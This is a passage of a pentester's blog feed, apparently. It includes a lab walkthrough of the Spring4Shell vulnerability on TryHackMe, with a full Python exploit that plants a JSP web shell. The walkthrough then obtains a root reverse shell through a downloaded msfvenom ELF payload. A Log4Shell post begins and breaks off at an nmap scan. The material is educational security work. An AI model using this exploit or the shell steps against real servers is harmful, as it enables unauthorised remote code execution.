stuff.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2022/11/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/5JbdgEAdZAo/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-7434029861346790243</guid><pubDate>Sat, 19 Nov 2022 18:49:00 +0000</pubDate><atom:updated>2025-01-11T13:48:42.713-05:00</atom:updated><title>Update. Not dead yet! Professional updates and where I&#39;m going from here.</title><description>&lt;p&gt;It&#39;s been a long time since my last post and many things have changed.&lt;/p&gt;&lt;p&gt;If you&#39;ve been wondering, I&#39;m still here, but I&#39;m hunkering down under Q4 madness.&lt;/p&gt;&lt;p&gt;Everyone wants pentests done before the end of the year, and I need to meet my performance goals. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;The big news is I moved on with my career, leaving Polito.&lt;/p&gt;&lt;p&gt;I&#39;ll be forever grateful to Fred Mastrippolito for giving me a chance, but it was time for me to switch.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;I&#39;ve been working with &lt;a href=&quot;https://www.optiv.com/&quot; rel=&quot;nofollow&quot;&gt;Optiv&lt;/a&gt; as an Attack &amp;amp; Pen Consultant since July, 2022, landing a senior role.&lt;/p&gt;&lt;p&gt;It not only came with a much needed financial compensation update, but also with a lot of challenges. I&#39;m now responsible for a whole project, from start to finish. I now have to deal with a lot of client-facing tasks I didn&#39;t have to worry about before, from taking care of kick off calls to daily start/stop notifications or communications about critical findings. I&#39;m also in charge for solving miscommunications, misconfigurations or hold ups with testing. &lt;/p&gt;&lt;p&gt;I&#39;m much happier but I work way longer hours than before.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Nonetheless I feel less stressed out. Having clear rules and procedures set up helps me in the end, though I don&#39;t like rules.&lt;/p&gt;&lt;p&gt;Of course, there&#39;s pros and cons coming along with it. I won&#39;t deny sometimes I find this bureaucracy quite meaningless, but I also understand there&#39;s a reason for it.&lt;/p&gt;&lt;p&gt;I hope I can keep moving up, so far I&#39;m slowly progressing but I need to step up my game.&lt;/p&gt;&lt;p&gt;We&#39;ll see what 2023 will bring.&lt;/p&gt;&lt;p&gt;The Savvy Geek here. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;Over and out.&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2022/11/update-not-dead-yet-professional.html</link><author>noreply@blogger.com (SavvyGeek)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-5059798050129464633</guid><pubDate>Thu, 07 Apr 2022 21:15:00 +0000</pubDate><atom:updated>2022-04-08T15:32:19.093-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking #pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 90 - Spring4Shell Demo (Including reverse shell payload)</title><description>&lt;p&gt;This is my contribution on the late Spring4Shell vulnerability.&lt;/p&gt;&lt;p&gt;I had a fun time demoing the vulnerability thanks to &lt;a href=&quot;https://tryhackme.com/room/spring4shell#&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;TryHackme&lt;/a&gt;, and I met my match when it came down to finding a reverse shell vector.&lt;/p&gt;&lt;p&gt;But I never give up, so here&#39;s what I came up with.&lt;/p&gt;&lt;p&gt;Enjoy! &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;BLOG_video_class&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/hhnjv4oCCYE&quot; width=&quot;320&quot; youtube-src-id=&quot;hhnjv4oCCYE&quot;&gt;&lt;/iframe&gt; &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Background&amp;nbsp;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Spring4Shell was initially discovered as a bypass to CVE-2010-1622-related patches.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Spring MVC (&lt;b&gt;M&lt;/b&gt;odel-&lt;b&gt;V&lt;/b&gt;iew-&lt;b&gt;C&lt;/b&gt;ontroller)
 is part of the Spring Framework, and it automatically instantiates and populates an object
 of a specified class when a request is made based on the parameters sent to the endpoint. This feature could be abused to overwrite important attributes 
of the parent class, resulting in remote code execution. The majority of the exploits for the Spring4Shell 
vulnerability operate by forcing the application to write a malicious &lt;code&gt;.jsp&lt;/code&gt; file (effectively plaintext Java which Tomcat can execute — the same way a PHP webserver would execute files with a &lt;code&gt;.php&lt;/code&gt; extension) to the webserver. This webshell can then be run to gain remote command execution over the target. &lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Current conditions for vulnerability are as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;JDK 9+&lt;/li&gt;&lt;li&gt;A vulnerable version of the Spring Framework (&amp;lt;5.2 | 5.2.0-19 | 5.3.0-17)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Apache Tomcat as a server for the Spring application, packaged as a WAR&lt;/li&gt;&lt;li&gt;A dependency on the &lt;code&gt;spring-webmvc&lt;/code&gt; and/or &lt;code&gt;spring-webflux&lt;/code&gt; components of the Spring Framework&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;&amp;nbsp;DEMO&lt;/i&gt;&lt;/p&gt;&lt;p&gt;TryHackMe released a &lt;a href=&quot;https://tryhackme.com/room/spring4shell#&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;demo&lt;/a&gt; of this specific vulnerability.&lt;/p&gt;&lt;p&gt;TryHackMe also provides a Python exploit to gain RCE on the target.&lt;/p&gt;&lt;p&gt;The machine has TCP ports 22, 80, 443 and 8080 open. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;Once we get an IP address, we can check out the webserver, which hosts a demo page.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRTNWQ8_6GT63ipEX-qKT8b3AcDd7T-JO5O1UhFIUucCyWisR8nEuLw-K2pfpm4pEAxucA60__Y154W4-uIub4jcfewxGWSTt3RGqHzCo4jGwg_tbt5ezUvXfmp1OqT0JGzpHdr7yeVF4-n5bkZAngEgZaGwPzyi9Zq84cB7P_cXaMACpnWQ4_zQ2H8w/s2646/Untitled.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1612&quot; data-original-width=&quot;2646&quot; height=&quot;390&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRTNWQ8_6GT63ipEX-qKT8b3AcDd7T-JO5O1UhFIUucCyWisR8nEuLw-K2pfpm4pEAxucA60__Y154W4-uIub4jcfewxGWSTt3RGqHzCo4jGwg_tbt5ezUvXfmp1OqT0JGzpHdr7yeVF4-n5bkZAngEgZaGwPzyi9Zq84cB7P_cXaMACpnWQ4_zQ2H8w/w640-h390/Untitled.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;The exploit we were supplied with requires for a url parameter to be provided, as we can gather by its code below. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;#!/usr/bin/env python3&lt;br /&gt;# Spring4Shell Exploit&lt;br /&gt;# Original Exploit: https://github.com/BobTheShoplifter/Spring4Shell-POC/&lt;br /&gt;# Modified by: AG | MuirlandOracle&lt;br /&gt;&lt;br /&gt;import requests&lt;br /&gt;import argparse&lt;br /&gt;from urllib.parse import urljoin&lt;br /&gt;&lt;br /&gt;def exploit(url, filename, password, directory):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; headers = {&quot;suffix&quot;:&quot;%&amp;gt;&amp;lt;!--//&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;c1&quot;:&quot;Runtime&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;c2&quot;:&quot;&amp;lt;%&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;DNT&quot;:&quot;1&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;Content-Type&quot;:&quot;application/x-www-form-urlencoded&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; data = f&quot;class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shellurl = urljoin(url, f&quot;{filename}.jsp&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if shellgo.status_code == 200:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print(f&quot;Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&amp;amp;cmd=whoami&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print(&quot;Exploit failed to upload&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; except Exception as e:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print(e)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pass&lt;br /&gt;if __name__ == &#39;__main__&#39;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser = argparse.ArgumentParser(description=&#39;Spring4Shell RCE Proof of Concept&#39;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.add_argument(&#39;url&#39;, help=&#39;Target URL&#39;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.add_argument(&quot;-f&quot;,&quot;--filename&quot;, help=&quot;Name of the file to upload (Default tomcatwar.jsp)&quot;, default=&quot;tomcatwar.jsp&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.add_argument(&quot;-p&quot;,&quot;--password&quot;, help=&quot;Password to protect the shell with (Default: thm)&quot;, default=&quot;thm&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.add_argument(&quot;-d&quot;,&quot;--directory&quot;, help=&quot;The upload path for the file (Default: ROOT)&quot;, default=&quot;ROOT&quot;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; args = parser.parse_args()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exploit(args.url, args.filename.split(&quot;.&quot;)[0], args.password, args.directory)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;If we check the source code of the webpage, we need to be looking for the &quot;action&quot; of the contact form (the only POST request available to us). This is found on line 20:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;code&gt;&amp;lt;form id=&quot;contactForm&quot; action=&quot;&lt;span style=&quot;color: red;&quot;&gt;/&lt;/span&gt;&quot; method=&quot;post&quot;&amp;gt;&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;The action is &quot;&lt;code&gt;/&lt;/code&gt;&quot;, meaning that our target URL will simply be: &lt;code&gt;http://MACHINE_IP/&lt;/code&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;EXPLOITATION&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The exploit provides us with remote code execution.&lt;/p&gt;&lt;p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUd4j0KN8v97GN-KYI7mXfhx6dDerUrL3SNTnlyu2mWR8s0LlffZpd3BfSkf0IgzE_x29kP0w25FecP27pzaUQENicAcMpbGU1rX-E1_RFQVZZ97EsJOsvNygifVyYJV3le-_nNFUckplTMhVsXyboU_e-D6yPKqMusX-iM1d3nFlkbqlHtezA9EuyaA/s668/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;238&quot; data-original-width=&quot;668&quot; height=&quot;228&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUd4j0KN8v97GN-KYI7mXfhx6dDerUrL3SNTnlyu2mWR8s0LlffZpd3BfSkf0IgzE_x29kP0w25FecP27pzaUQENicAcMpbGU1rX-E1_RFQVZZ97EsJOsvNygifVyYJV3le-_nNFUckplTMhVsXyboU_e-D6yPKqMusX-iM1d3nFlkbqlHtezA9EuyaA/w640-h228/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;Exploit granted RCE on the remote host&lt;/i&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Browsing to the indicated URL, we can get remote code execution, and we discover we&#39;re &lt;span style=&quot;font-family: courier;&quot;&gt;root&lt;/span&gt;.&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrtVJYmDRkIxPb0YtLGuJKn_KpnjrrEq8l_jRaAj7EZTHAb8uR8RXEIQNhnmvTcufjT4cwMCNDSno56AK0CJSceymtxA66p0wYc6spbD7JEL8Ajs4oQDp0wSOCnIKUrBCLFpbiIDuPbyyfnPKUZQEr5LzVH3ohqlT3xJOnyPjfoX_rbKiln6Q82MDiPA/s1280/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;248&quot; data-original-width=&quot;1280&quot; height=&quot;124&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrtVJYmDRkIxPb0YtLGuJKn_KpnjrrEq8l_jRaAj7EZTHAb8uR8RXEIQNhnmvTcufjT4cwMCNDSno56AK0CJSceymtxA66p0wYc6spbD7JEL8Ajs4oQDp0wSOCnIKUrBCLFpbiIDuPbyyfnPKUZQEr5LzVH3ohqlT3xJOnyPjfoX_rbKiln6Q82MDiPA/w640-h124/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;The &lt;b&gt;whoami&lt;/b&gt; command confirms we got RCE as the &lt;b&gt;root&lt;/b&gt; user&lt;/i&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;At this point, we could easily read the root flag, if we were after it, but I&#39;d rather focus on getting a reverse shell back to the attacking machine. I really struggled with this for a while, and nothing seemed to work, until I thought of uploading an &lt;span style=&quot;font-family: courier;&quot;&gt;elf&lt;/span&gt; shell, which is a Linux executable (&lt;span class=&quot;module__title__link&quot;&gt;Executable and Linkable Format).&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;module__title__link&quot;&gt;The malicious payload can be easily created through an&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt; &lt;/span&gt;msfvenom&lt;/span&gt; command such as this one:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;module__title__link&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJVZijfaikKXhd1_YxXKFjhYIVa5UeZQHyYdcwcLqmhCatOT0Hhe2wJmV7ru3g6ew_E-D7a4vbPe3V7C0w5vJ09L0_FlM8LZlWIt7u0eH9w-4BbbQ-N-ucPvCdExSKtODOAQTOCuLbD_Kpz6MSnMUSGszB7ueCxEE2W3kenxjJwfu-2vbpN2SvBelT0A/s1416/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;490&quot; data-original-width=&quot;1416&quot; height=&quot;222&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJVZijfaikKXhd1_YxXKFjhYIVa5UeZQHyYdcwcLqmhCatOT0Hhe2wJmV7ru3g6ew_E-D7a4vbPe3V7C0w5vJ09L0_FlM8LZlWIt7u0eH9w-4BbbQ-N-ucPvCdExSKtODOAQTOCuLbD_Kpz6MSnMUSGszB7ueCxEE2W3kenxjJwfu-2vbpN2SvBelT0A/w640-h222/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;At that point, all I had to do was to upload the file with &lt;span style=&quot;font-family: courier;&quot;&gt;wget&lt;/span&gt;, make it executable with &lt;span style=&quot;font-family: courier;&quot;&gt;chmod&lt;/span&gt; &lt;span style=&quot;font-family: courier;&quot;&gt;777 shell.elf&lt;/span&gt; and run it (&lt;span style=&quot;font-family: courier;&quot;&gt;./shell.elf&lt;/span&gt;).&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV8vwffh0mE1VMg_I65B7dTtJyx9ZA-8hELcdp8GY98Ws8II8_Bl7OtInaI4mDHO3ZVkL2fR6XTbljpNoir-j33-TBwyDxfEdCrNZWjnWSSR7qxFCBIG2p2FNs8l8YGs5K1ikHQeA8_jw84_tMCOttiHYt5budjE41_1gEQe-8-7v9_A7VrutHY-wCLw/s1302/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;444&quot; data-original-width=&quot;1302&quot; height=&quot;218&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV8vwffh0mE1VMg_I65B7dTtJyx9ZA-8hELcdp8GY98Ws8II8_Bl7OtInaI4mDHO3ZVkL2fR6XTbljpNoir-j33-TBwyDxfEdCrNZWjnWSSR7qxFCBIG2p2FNs8l8YGs5K1ikHQeA8_jw84_tMCOttiHYt5budjE41_1gEQe-8-7v9_A7VrutHY-wCLw/w640-h218/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;Reverse shell successfully uploaded&lt;/i&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhstbkmFjwcLNdjnJUDsSmNNChc4fnb7ctJu5j74svr_2RAllVufirJTYYIIlZjBGlOXkv_SjHAo3Su0fGnZzSf4IvRxiwDWnhyBVic5MCbZxlXsCBMhcEfw33FaSV6ZkaKCYLSgiDHzO1uzc1FlTooD8MhiYHeoYVFsmb_O8nCXctiUyGFxU4DU9uQJA/s1334/Picture1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;934&quot; data-original-width=&quot;1334&quot; height=&quot;448&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhstbkmFjwcLNdjnJUDsSmNNChc4fnb7ctJu5j74svr_2RAllVufirJTYYIIlZjBGlOXkv_SjHAo3Su0fGnZzSf4IvRxiwDWnhyBVic5MCbZxlXsCBMhcEfw33FaSV6ZkaKCYLSgiDHzO1uzc1FlTooD8MhiYHeoYVFsmb_O8nCXctiUyGFxU4DU9uQJA/w640-h448/Picture1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;i&gt;Reverse shell was successfully obtained on the remote host&lt;/i&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span class=&quot;module__title__link&quot;&gt;&lt;i&gt;Wrap-up&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;module__title__link&quot;&gt;Once again, staying current is very important for pentesters and red teamers.&lt;br /&gt;The least you keep abreast of new vulnerabilities the more missed opportunities for your company and your clients, which would be a real shame.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;module__title__link&quot;&gt;If a new exploit is out there, you preferably want to be the first to know and test it, before bad guys can actually leverage it against your customers.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;module__title__link&quot;&gt;It&#39;s a cat and mouse game but you gotta do what you gotta do in this industry to make sure you deliver value.&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2022/04/spring4shell.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/hhnjv4oCCYE/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-2004994386387563269</guid><pubDate>Sat, 05 Feb 2022 18:52:00 +0000</pubDate><atom:updated>2022-02-08T18:57:07.452-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking #pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 89 - Stay Current (log4j exploit)</title><description>&lt;p&gt;Both penetration testers/red teamers and blue teamers need to stay abreast of the latest vulnerabilities being discovered, understand their implications and learn both how to exploit them and how to remediate or mitigate them.&lt;/p&gt;&lt;p&gt;This post will be about a recent critical vulnerability affecting a java logging library called &lt;b&gt;log4j&lt;/b&gt; that offers remote code trivial remote code execution on hosts running software using this vulnerable dependency. This attack has been called &quot;Log4Shell&quot;. Multiple patches were released for this package, but the impact of this vulnerability is very widespread, because&lt;span style=&quot;font-size: 1rem;&quot;&gt; millions 
of applications as well as software providers use this package as a 
dependency in their own code.&lt;/span&gt;&lt;span style=&quot;font-size: 1rem;&quot;&gt; Many security researchers have compared this
 vulnerability to the &lt;/span&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot; target=&quot;_blank&quot;&gt;Shellshock&lt;/a&gt;&lt;span style=&quot;font-size: 1rem;&quot;&gt; exploit based on the nature of its enormous attack surface.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;As a penetration tester, I constantly test and study new vulnerabilities to understand their actual impact for my clients, and my focus is both on exploitation and on remediation/mitigation strategies. &lt;p&gt;&lt;/p&gt;&lt;p&gt;An easy way to demo Log4Shell is provided by TryHackMe, that created a &lt;a href=&quot;https://tryhackme.com/room/solar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;free room&lt;/a&gt; for this purpose.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The
 room illustrates the vulnerability, explains how to exploit it, and 
also describes mitigation strategies, so I think it&#39;s a good demo of 
what a real-world context looks like. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;BLOG_video_class&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/-_rEnpAV2Ts&quot; width=&quot;320&quot; youtube-src-id=&quot;-_rEnpAV2Ts&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;RECON &lt;/i&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;The first step to test the vulnerability is to Nmap the &lt;span style=&quot;color: #ffa400;&quot;&gt;Solar &lt;/span&gt;machine (&lt;span style=&quot;font-family: courier;&quot;&gt;nmap -sS -sC -vv -p- --open &amp;lt;TARGET IP ADDRESS&amp;gt;&lt;/span&gt; &lt;span style=&quot;font-family: courier;&quot;&gt;-oA &amp;lt;OUTPUT FILES 